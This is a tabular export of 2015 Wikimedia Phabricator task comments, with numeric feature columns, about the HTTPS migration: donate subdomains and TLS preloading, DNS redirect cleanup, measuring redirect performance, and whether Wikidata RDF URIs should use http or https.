486673,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Once these two domain names, `www.donate.wikimediafoundation.org`, `www.donate.mediawiki.org` are removed, `wikimediafoundation.org` and `mediawiki.org` can be preloaded. Fortunately, searching them on Google returns no results: https://www.google.com/search?q=%22www.donate.wikimediafoundation.org%22 and https://www.google.com/search?q=%22www.donate.mediawiki.org%22. So I think it is safe to remove at least these two.

[1] https://raw.githubusercontent.com/wikimedia/operations-dns/master/templates/mediawiki.org
[2] https://raw.githubusercontent.com/wikimedia/operations-dns/master/templates/wikimediafoundation.org
",,,1436081265,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,23.0,2.0,4.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,5.0,7.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,3.3035714285714284,0.7142857142857143,"Once these two domain names, CODE, CODE are removed, CODE and CODE can be preloaded. Fortunately, searching them on Google returns no results: URL and URL So I think it is safe to remove at least these two.

[1] URL
[2] URL
"
477633,Decide what to do with *.donate.wikimedia.org subdomain + TLS,@meganhernandez_WMF can you let us know about the rest of the domains? Is this how the sidebar linking works or anything?,,,1434662566,,PHID-USER-j4ifauraw6sytqa3zrih,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,2,False,,,-2,True,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,9.0,4.0,4.0,17.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,4.043478260869565,0.8695652173913043,SCREEN_NAME can you let us know about the rest of the domains? Is this how the sidebar linking works or anything?
476481,Decide what to do with *.donate.wikimedia.org subdomain + TLS,"Moreover, I'd like to ask if there is any point of having all of the donate.$project.org combinations. Do people actually ever go to e.g. donate.wikiversity.org? We never advertise that link anywhere, as far as I know.",,,1434555777,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ttjqr5wnd6jgc6wvjtlb,task_subcomment,,True,c3,2,True,,,-3,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,2.0,7.0,0.0,19.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,5.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,17.0,2.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.357142857142857,0.8571428571428571,"Moreover, I'd like to ask if there is any point of having all of the donate.$project.org combinations. Do people actually ever go to e.g. donate.wikiversity.org? We never advertise that link anywhere, as far as I know."
102824,Clean up DNS/redirects for TLS,"This is a meta-task to collect up all of the related tasks for dealing with various cases of legitimate, functional domainname endpoints that browsers can hit for insecure redirects currently, which do not match our SSL certs.",Medium,50.0,1434554366,1469646357.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-fcbfwmloooyqrkcz6ecb,task_description,resolved,True,c3,2,True,True,False,-3,True,2.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,21.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,19.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.523809523809524,0.9285714285714286,"This is a meta-task to collect up all of the related tasks for dealing with various cases of legitimate, functional domainname endpoints that browsers can hit for insecure redirects currently, which do not match our SSL certs."
701549,Clean up DNS/redirects for TLS,"The title wording is unclear, which is perhaps why this ticket lingered open.  However, from the subtasks it's clear this was about exception cases within our canonical second-level domainnames.  Non-canonicals and the remaining non-standard one-off legitimate sites are all covered in other, open tickets.",,,1469646357,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-fcbfwmloooyqrkcz6ecb,task_subcomment,,True,c3,3,True,,,55,True,2.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,21.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,5.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,4.311475409836065,0.8032786885245902,"The title wording is unclear, which is perhaps why this ticket lingered open.  However, from the subtasks it's clear this was about exception cases within our canonical second-level domainnames.  Non-canonicals and the remaining non-standard one-off legitimate sites are all covered in other, open tickets."
477519,Clean up DNS/redirects for TLS,"I imagine https://gerrit.wikimedia.org/r/#/c/219228/1 is going to put us in a similar situation with T88731 (redirects in place, but invalid SSL certs getting in the way for encrypted requests)?",,,1434654989,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-fcbfwmloooyqrkcz6ecb,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,19.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.96875,0.9375,"I imagine URL is going to put us in a similar situation with T88731 (redirects in place, but invalid SSL certs getting in the way for encrypted requests)?"
102732,Control for impact of redirects in HTTPS performance impact measurements,"Per request from Faidon: we'd like to know how much, if any, of the performance regression that is currently indicated by the weekly graphs on https://performance.wikimedia.org is attributable to 301 redirects from HTTP to HTTPS. This is another way of asking: how much of the performance impact is real, and how much is a temporary consequence of the migration process?

If these metrics include time spent following redirects, so much the better, because redirects should become much less frequent as HTTPS rel=canonical propagate through the caches and as search engines spider our site.

The Navigation Timing API provides absolute, not relative, timestamps. We compute duration by subtracting `navigationStart` from each measure. `navigationStart` is the start of navigation from the user's perspective, so redirects are included. What I am not sure about is whether measures like `responseStart` necessarily refer to the last response from the server, or if the redirect counts.

We can determine this by comparing the distribution of `responseStart` values where `redirectCount` is 0 vs. values where it is nonzero.",Medium,50.0,1434501443,1437614258.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-2oa2df5d4j3xwbdkg4ly,task_description,declined,True,c3,2,True,True,True,-3,True,3.5,0.0,0.0,1.0,1.0,6.5,3.5,0.5,0.0,1.5,1.0,0.5,0.0,0.0,0.0,2.5,0.5,6.5,15.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,8.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.5,1.0,0.0,0.5,0.0,16.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.5,7.0,5.5,10.5,5.5,1.5,10.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,3.5,15.5,6.0,0.5,0.0,0.0,3.5,0.0,3.5,0.5,0.0,2.5,1.0,0.0,0.0,4.395846217274789,0.7005256648113791,"Per request from Faidon: we'd like to know how much, if any, of the performance regression that is currently indicated by the weekly graphs on URL is attributable to 301 redirects from HTTP to HTTPS. This is another way of asking: how much of the performance impact is real, and how much is a temporary consequence of the migration process?

If these metrics include time spent following redirects, so much the better, because redirects should become much less frequent as HTTPS rel=canonical propagate through the caches and as search engines spider our site.

The Navigation Timing API provides absolute, not relative, timestamps. We compute duration by subtracting CODE from each measure. CODE is the start of navigation from the user's perspective, so redirects are included. What I am not sure about is whether measures like CODE necessarily refer to the last response from the server, or if the redirect counts.

We can determine this by comparing the distribution of CODE values where CODE is 0 vs. values where it is nonzero."
495355,Control for impact of redirects in HTTPS performance impact measurements,Declining this since it's low-priority for us and it won't make a difference to the HTTPS rollout plans at this stage.,,,1437614258,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-2oa2df5d4j3xwbdkg4ly,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,4.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,15.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,3.769230769230769,0.9230769230769231,Declining this since it's low-priority for us and it won't make a difference to the HTTPS rollout plans at this stage.
102717,https switch changed wdata prefix to https:,"After the https switch, the page http://www.wikidata.org/wiki/Special:EntityData/Q1.ttl?flavor=dump redirects to https://www.wikidata.org/wiki/Special:EntityData/Q1.ttl?flavor=dump - which produces this prefix:

```
@prefix wdata: <https://www.wikidata.org/wiki/Special:EntityData/> .
```

Which doesn't seem right since our URLs are defined as http:// canonically. Should we change the definition or (my preference) fix the output so it displays http:// even if current page is https. Data should not depend on the transfer protocol IMO.",Medium,50.0,1434492549,1435213716.0,PHID-USER-4qe5niesec534hksvuch,False,PHID-USER-4qe5niesec534hksvuch,False,PHID-TASK-vaaztnerkhieqw4eb6ua,task_description,resolved,True,c3,2,True,True,True,-3,True,0.0,0.0,0.0,1.0,3.0,4.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,6.0,10.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,21.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,12.0,4.0,1.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,10.0,4.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8055555555555556,"After the https switch, the page URL redirects to URL - which produces this prefix:

``CODE``

Which doesn't seem right since our URLs are defined as http:// canonically. Should we change the definition or (my preference) fix the output so it displays http:// even if current page is https. Data should not depend on the transfer protocol IMO."
481843,https switch changed wdata prefix to https:,"Change 220832 merged by jenkins-bot:
T103767: Revert ""T102717: Fix the RDF links always use http:""

[[https://gerrit.wikimedia.org/r/220832]]",,,1435254547,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,17.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.3666666666666667,0.8,"Change 220832 merged by jenkins-bot:
T103767: Revert ""T102717: Fix the RDF links always use http:""

[[GERRIT_URL]]"
481838,https switch changed wdata prefix to https:,"Change 220832 had a related patch set uploaded (by Smalyshev):
T103767: Revert ""T102717: Fix the RDF links always use http:""

[[https://gerrit.wikimedia.org/r/220832]]
",,,1435254272,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,23.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,14.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.5142857142857142,0.8285714285714286,"Change 220832 had a related patch set uploaded (by Smalyshev):
T103767: Revert ""T102717: Fix the RDF links always use http:""

[[GERRIT_URL]]
"
481379,https switch changed wdata prefix to https:,"Change 218994 merged by jenkins-bot:
T102717: Fix the RDF links always use http:

[[https://gerrit.wikimedia.org/r/218994]]",,,1435213607,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.4,0.84,"Change 218994 merged by jenkins-bot:
T102717: Fix the RDF links always use http:

[[GERRIT_URL]]"
481236,https switch changed wdata prefix to https:,"Basing on @dnaiel's comments on the ticket, I think we can commit this one as short-term fix and then develop longer-term consensus in T103767 (if it's different from the short-term one).",,,1435190792,,PHID-USER-4qe5niesec534hksvuch,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,7.0,12.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.8333333333333335,0.8095238095238095,"Basing onSCREEN_NAME's comments on the ticket, I think we can commit this one as short-term fix and then develop longer-term consensus in T103767 (if it's different from the short-term one)."
480273,https switch changed wdata prefix to https:,"I agree that we need to pick one. But the URI in the data and the URL ultimately used to deliver the data doesn't have to be the same, I think - it only need to lead ultimately to the same resource. If we choose https, then we'll need to ensure there URL is always https even if the page is somehow accessed with http (I know right now there's a redirect but what if that redirect is or will be disabled for some clients/IPs/countries/etc.?) anyways. ",,,1435089387,,PHID-USER-4qe5niesec534hksvuch,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,1.0,0.0,0.0,2.0,0.5,2.0,1.5,0.0,0.0,2.5,0.5,1.5,1.0,0.5,1.0,4.0,0.0,8.5,9.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.5,0.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,5.0,4.5,6.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,5.5,9.0,1.5,1.0,0.0,0.0,5.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,3.5096153846153846,0.7596153846153846,"I agree that we need to pick one. But the URI in the data and the URL ultimately used to deliver the data doesn't have to be the same, I think - it only need to lead ultimately to the same resource. If we choose https, then we'll need to ensure there URL is always https even if the page is somehow accessed with http (I know right now there's a redirect but what if that redirect is or will be disabled for some clients/IPs/countries/etc.?) anyways. "
480221,https switch changed wdata prefix to https:,"While I did say that pretty much all URIs I know use http, I do not have any reason to believe that https would cause problems. It is not so extensively tested maybe, but in most contexts it should work fine.

A bigger issue is that some people are already using our http URIs.",,,1435084937,,PHID-USER-objbp2gsw5aadxihyhsh,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,False,,,-2,True,7.0,0.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,12.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,5.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,13.0,7.0,2.0,7.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,12.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,3.75,0.8166666666666667,"While I did say that pretty much all URIs I know use http, I do not have any reason to believe that https would cause problems. It is not so extensively tested maybe, but in most contexts it should work fine.

A bigger issue is that some people are already using our http URIs."
480168,https switch changed wdata prefix to https:,"It is important to pick one and stick to it. WMF hosted things changed to https being the default for good reason, which was in preparation for years. We should pick https for things we host.

> This seems a bit arbitrary and annoying, but it's backed by other documents, such as section 4.1 of the Study on persistent URIs by the ISA.

This actually does not talk about not using https at all. The example has explanations for all parts, except the missing s, probably it is only important that it is either one. Throughout the document they act like http and https are the same thing.

> https://dvcs.w3.org/hg/ldpwg/raw-file/default/ldp-bp/ldp-bp.html#predicate-uris-should-be-http-urls

This states that it is about being able to dereference, not that it should be http over https.

> https://dvcs.w3.org/hg/ldpwg/raw-file/default/ldp-bp/ldp-bp.html#respond-with-primary-urls-and-use-them-for-identity-comparison

This explicitly says you should pick one and always return that. It also mentions that http without s is not sufficient to trust that a certain response may define what is canonical. Note that this one is after the one above in the same document, i.e. they technically suggest https without making it so explicity. Possibly that was done as to not divide the Working Group over things that were already decided and enshrined as BCP 188.",,,1435080195,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0.6666666666666666,0.0,0.0,1.0,2.0,3.6666666666666665,4.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,7.0,12.333333333333334,0.0,1.6666666666666667,1.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,6.0,1.3333333333333333,2.6666666666666665,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,0.6666666666666666,0.0,2.0,0.0,1.0,0.0,0.3333333333333333,1.3333333333333333,9.333333333333334,1.0,2.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,3.6666666666666665,5.333333333333333,6.333333333333333,2.6666666666666665,1.3333333333333333,7.0,0.0,0.0,0.0,0.0,4.666666666666667,0.0,1.3333333333333333,0.0,5.0,12.333333333333334,1.6666666666666667,0.0,0.0,0.0,5.0,0.0,1.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.3333333333333333,4.104477611940299,0.7263681592039801,"It is important to pick one and stick to it. WMF hosted things changed to https being the default for good reason, which was in preparation for years. We should pick https for things we host.

QUOTE

This actually does not talk about not using https at all. The example has explanations for all parts, except the missing s, probably it is only important that it is either one. Throughout the document they act like http and https are the same thing.

QUOTE

This states that it is about being able to dereference, not that it should be http over https.

QUOTE

This explicitly says you should pick one and always return that. It also mentions that http without s is not sufficient to trust that a certain response may define what is canonical. Note that this one is after the one above in the same document, i.e. they technically suggest https without making it so explicity. Possibly that was done as to not divide the Working Group over things that were already decided and enshrined as BCP 188."
480165,https switch changed wdata prefix to https:,"So, I think we have a consensus that we want to use `http:`. So let's now figure out what is the best way to do it. I made it in RdfVocabulary kind of brute-force - just make the URLs `http:` always. But it may be too harsh - maybe we could have the clients use RdfVocabulary::alwaysHTTP (I don't feel 100% happy with such a basic function like ""canonicalize URL to be http"" reside in very specialized class but I couldn't find existing one and I don't want to introduce cross-module dependencies) voluntarily instead of RdfVocabulary forcing http in the ctor. 
Or maybe there's another way of getting canonical URL with http which I am missing. 

Thoughts welcome on this.",,,1435079871,,PHID-USER-4qe5niesec534hksvuch,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.5,0.0,2.0,7.0,1.0,0.0,0.0,0.0,2.5,2.0,0.0,0.0,0.5,5.0,0.0,8.0,9.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,4.5,1.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,11.0,0.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,2.0,0.0,0.5,1.0,0.0,0.0,3.5,2.5,11.0,0.0,2.5,6.0,0.0,0.0,0.0,0.0,8.5,0.0,0.5,0.0,7.0,9.5,2.5,0.0,1.5,0.0,7.0,0.0,1.5,1.0,0.0,3.0,0.0,0.5,0.0,3.8661971830985915,0.7816901408450705,"So, I think we have a consensus that we want to use CODE. So let's now figure out what is the best way to do it. I made it in RdfVocabulary kind of brute-force - just make the URLs CODE always. But it may be too harsh - maybe we could have the clients use RdfVocabulary::alwaysHTTP (I don't feel 100% happy with such a basic function like ""canonicalize URL to be http"" reside in very specialized class but I couldn't find existing one and I don't want to introduce cross-module dependencies) voluntarily instead of RdfVocabulary forcing http in the ctor. 
Or maybe there's another way of getting canonical URL with http which I am missing. 

Thoughts welcome on this."
480164,https switch changed wdata prefix to https:,"So, I think we have a consensus that we want to use `http:`. So let's now figure out what is the best way to do it. I made it in RdfVocabulary kind of brute-force - just make the URLs `http:` always. But it may be too harsh - maybe we could have the clients use RdfVocabulary::alwaysHTTP (I don't feel 100% happy with such a basic function like ""canonicalize URL to be http"" reside in very specialized class but I couldn't find existing one and I don't want to introduce cross-module dependencies) voluntarily instead of RdfVocabulary forcing http in the ctor. Thoughts welcome on this.",,,1435079802,,PHID-USER-4qe5niesec534hksvuch,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,1.0,0.0,2.5,6.5,1.0,0.0,0.0,0.0,3.0,2.5,0.0,0.0,0.0,5.0,0.0,8.5,9.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,1.0,4.5,2.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,10.5,1.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,0.5,2.5,0.0,0.5,0.5,0.0,0.0,3.5,2.0,10.0,0.0,2.0,5.5,0.0,0.0,0.0,0.0,9.5,0.0,1.0,0.0,7.0,9.0,3.0,0.0,1.5,0.0,7.0,0.0,1.0,1.5,0.0,1.5,0.0,0.5,0.0,3.8832628239026965,0.7890005288207298,"So, I think we have a consensus that we want to use CODE. So let's now figure out what is the best way to do it. I made it in RdfVocabulary kind of brute-force - just make the URLs CODE always. But it may be too harsh - maybe we could have the clients use RdfVocabulary::alwaysHTTP (I don't feel 100% happy with such a basic function like ""canonicalize URL to be http"" reside in very specialized class but I couldn't find existing one and I don't want to introduce cross-module dependencies) voluntarily instead of RdfVocabulary forcing http in the ctor. Thoughts welcome on this."
480154,https switch changed wdata prefix to https:,Markus: I seem to remember you saying pretty much everyone does http and not https? If this is indeed the case then I think we should follow conventions and do the same.,,,1435079262,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-vaaztnerkhieqw4eb6ua,task_subcomment,,True,c3,2,True,,,-2,True,3.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,3.0,11.0,3.0,6.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,11.0,6.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.942857142857143,0.9142857142857143,Markus: I seem to remember you saying pretty much everyone does http and not https? If this is indeed the case then I think we should follow conventions and do the same.
479936,https switch changed wdata prefix to https:,"Random but interesting Google results I found:
* http://www.ebi.ac.uk/rdf/does-rdf-platform-support-https
* https://pubchem.ncbi.nlm.nih.gov/rdf/#_Toc376426185 (search for ""https"")

Possibly relevant but currently unlinked tickets:
